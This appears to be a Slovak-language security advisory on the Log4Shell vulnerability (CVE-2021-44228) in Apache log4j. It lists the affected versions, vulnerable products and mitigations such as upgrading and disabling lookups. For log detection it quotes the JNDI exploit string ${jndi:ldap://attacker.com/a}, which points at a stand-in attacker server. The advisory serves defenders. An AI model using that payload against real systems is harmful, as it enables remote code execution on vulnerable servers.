Pred necelým dňom bol zverejnený exploit na zraniteľnosť v populárnej knižnici log4j
umožňujúci neautentifikovaným útočníkom spustenie škodlivého kódu (RCE - Remote Code Execution) jednoducho, prostredníctvom zalogovania používateľského vstupu obsahujúceho špecifický textový reťazec.
Vzhľadom na fakt že sa jedná o najpoužívanejšiu knižnicu pre logovanie pre Java, je použitá v obrovskom množste (takmer v každej) java aplikácii, či už priamo alebo prostredníctvom inej knižnice, a tieto sa tak v štandardnej konfigurácii stávajú automaticky zraniteľnými. Hoci primárne obavy ako aj útoky smerujú k zraniteľnostiam webových aplikácií, je dôležité poznamenať že zraniteľnosť sa týka aj desktopových aplikácií ktoré budú cielené formou sociálnych útokov so škodlivými súbormi.
Zraniteľnosť bola publikovaná na siet twitter spolu s ukážkou zneužitia zraniteľnosti (PoC exploit) zverejnenou na GitHub. Neskôr bol zraniteľnosti pridelený identifikátor CVE-2021-44228, ako aj prezývka “Log4Shell”.
Zraniteľné sú všetky verzie knižnice log4j
v rozsahu 2.0
<= Apache log4j <= 2.14.1
.
V prípade ak používate verzie JDK vyššie ako 6u211
, 7u201
, 8u191
, a 11.0.1
nemali by ste byť zraniteľný, nakoľko v týchto verziách nieje vo východzej konfigurácii povolené načítavanie JNDI objektov cez LDAP.
Aktuálny zoznam zraniteľných aplikácií a služieb je naozaj rozsiahly. Zahŕňa služby spločností ako sú Apple, Steam, Tencent, Baidu, CloudFlare, Amazon. Produkty ako Apache Solr, Apache Druid, Apache Struts2, ElasticSearch. Ako aj aplikácie klientské aplikácie ako Minecraft či Ghidra.
Narastajúci, komunitou aktualizovaný zoznam zraniteľných služieb a aplikácii je možné sledovať na githube.
Aktualizovať na dnes vydanú verziu 2.15.0 log4j-core.jar
. Už je dostupný Maven Central, vrátane release notes a log4j security announcements.
Ak nieje možné pre vás ihneď aktualizovať túto knižnicu, odporúčame ako alternatívnu rýchlu nápravu nasledovné kroky, ktoré je vhodné vykonať dodatočne aj popri aktualizácii knižnice.
log4j
(od verzie 2.10.0) nastaviť voľbu formatMsgNoLookups=true
com.sun.jndi.ldap.object.trustURLCodebase=false
389/tcp
) a ldaps (636/tcp
), čo je celkovo odporúčaná praktikaV aplikačných logoch hľadajte reťazec vo formáte ${jndi:ldap://attacker.com/a}
, kde attacker.com/a
reprezentuje adresu útočníkovho servera.
Informácie obsiahnuté v tomto článku vychádzajú z rôznych zdrojov, vrátane prvotnej analýzy zraniteľnosti od Lunasec a oznámenia zraniteľnosti od randori.
Ďalšie použité zdroje